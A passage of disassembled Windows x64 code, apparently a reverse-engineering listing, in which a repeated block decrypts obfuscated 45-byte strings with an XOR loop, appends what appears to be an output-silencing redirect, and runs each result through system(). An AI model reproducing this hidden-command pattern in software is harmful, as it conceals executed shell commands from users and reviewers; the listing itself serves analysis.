add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001ca20
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x4240]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x4260]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4280]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x42a0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x42a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4280]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4260]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4240]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4220]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4200]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x42c0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x42e0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5768]
lea rcx, [rbp - 0x5e]
call fcn.14001f020
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001cca5
mov r8d, ebx
cmp r14d, 2
jl 0x14001cc63
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001cb70
cmp r8d, 0x2d
jge 0x14001cca5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001cc70
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x4300]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x4320]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4340]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x4360]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x4360]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4340]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4320]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4300]
call fcn.140022f30
nop
lea rcx, [rbp + 0x42e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x42c0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x4380]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x43a0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5798]
lea rcx, [rbp - 0x5d]
call fcn.14001f060
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001cef5
mov r8d, ebx
cmp r14d, 2
jl 0x14001ceb3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001cdc0
cmp r8d, 0x2d
jge 0x14001cef5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001cec0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x43c0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x43e0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4400]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x4420]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x4420]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4400]
call fcn.140022f30
nop
lea rcx, [rbp + 0x43e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x43c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x43a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4380]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x4440]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x4460]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x57c8]
lea rcx, [rbp - 0x5c]
call fcn.14001f0a0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001d145
mov r8d, ebx
cmp r14d, 2
jl 0x14001d103
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001d010
cmp r8d, 0x2d
jge 0x14001d145
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001d110
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x4480]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x44a0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x44c0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x44e0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x44e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x44c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x44a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4480]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4460]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4440]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x4500]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x4520]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x57f8]
lea rcx, [rbp - 0x5b]
call fcn.14001f0e0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001d395
mov r8d, ebx
cmp r14d, 2
jl 0x14001d353
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001d260
cmp r8d, 0x2d
jge 0x14001d395
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001d360
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x4540]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x4560]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4580]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x45a0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x45a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4580]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4560]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4540]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4520]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4500]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x45c0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x45e0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5828]
lea rcx, [rbp - 0x5a]
call fcn.14001f120
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001d5e5
mov r8d, ebx
cmp r14d, 2
jl 0x14001d5a3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001d4b0
cmp r8d, 0x2d
jge 0x14001d5e5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001d5b0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x4600]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x4620]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4640]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x4660]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x4660]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4640]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4620]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4600]
call fcn.140022f30
nop
lea rcx, [rbp + 0x45e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x45c0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x4680]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x46a0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5858]
lea rcx, [rbp - 0x59]
call fcn.14001f160
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001d835
mov r8d, ebx
cmp r14d, 2
jl 0x14001d7f3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001d700
cmp r8d, 0x2d
jge 0x14001d835
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001d800
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x46c0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x46e0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4700]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x4720]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x4720]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4700]
call fcn.140022f30
nop
lea rcx, [rbp + 0x46e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x46c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x46a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4680]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x4740]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x4760]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5888]
lea rcx, [rbp - 0x58]
call fcn.14001f1a0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001da85
mov r8d, ebx
cmp r14d, 2
jl 0x14001da43
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001d950
cmp r8d, 0x2d
jge 0x14001da85
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001da50
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x4780]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x47a0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x47c0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x47e0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x47e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x47c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x47a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4780]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4760]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4740]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x4800]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x4820]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x58b8]
lea rcx, [rbp - 0x57]
call fcn.14001f1e0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001dcd5
mov r8d, ebx
cmp r14d, 2
jl 0x14001dc93
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14001dba0
cmp r8d, 0x2d
jge 0x14001dcd5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14001dca0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x4840]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x4860]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4880]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x48a0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x48a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4880]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4860]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4840]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4820]
call fcn.140022f30
nop
lea rcx, [rbp + 0x4800]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x48c0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x48e0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4b98]
lea rcx, [rbp - 0x56]
call fcn.14001f220
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14001df25
mov r8d, ebx
cmp r14d, 2
jl 0x14001dee3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
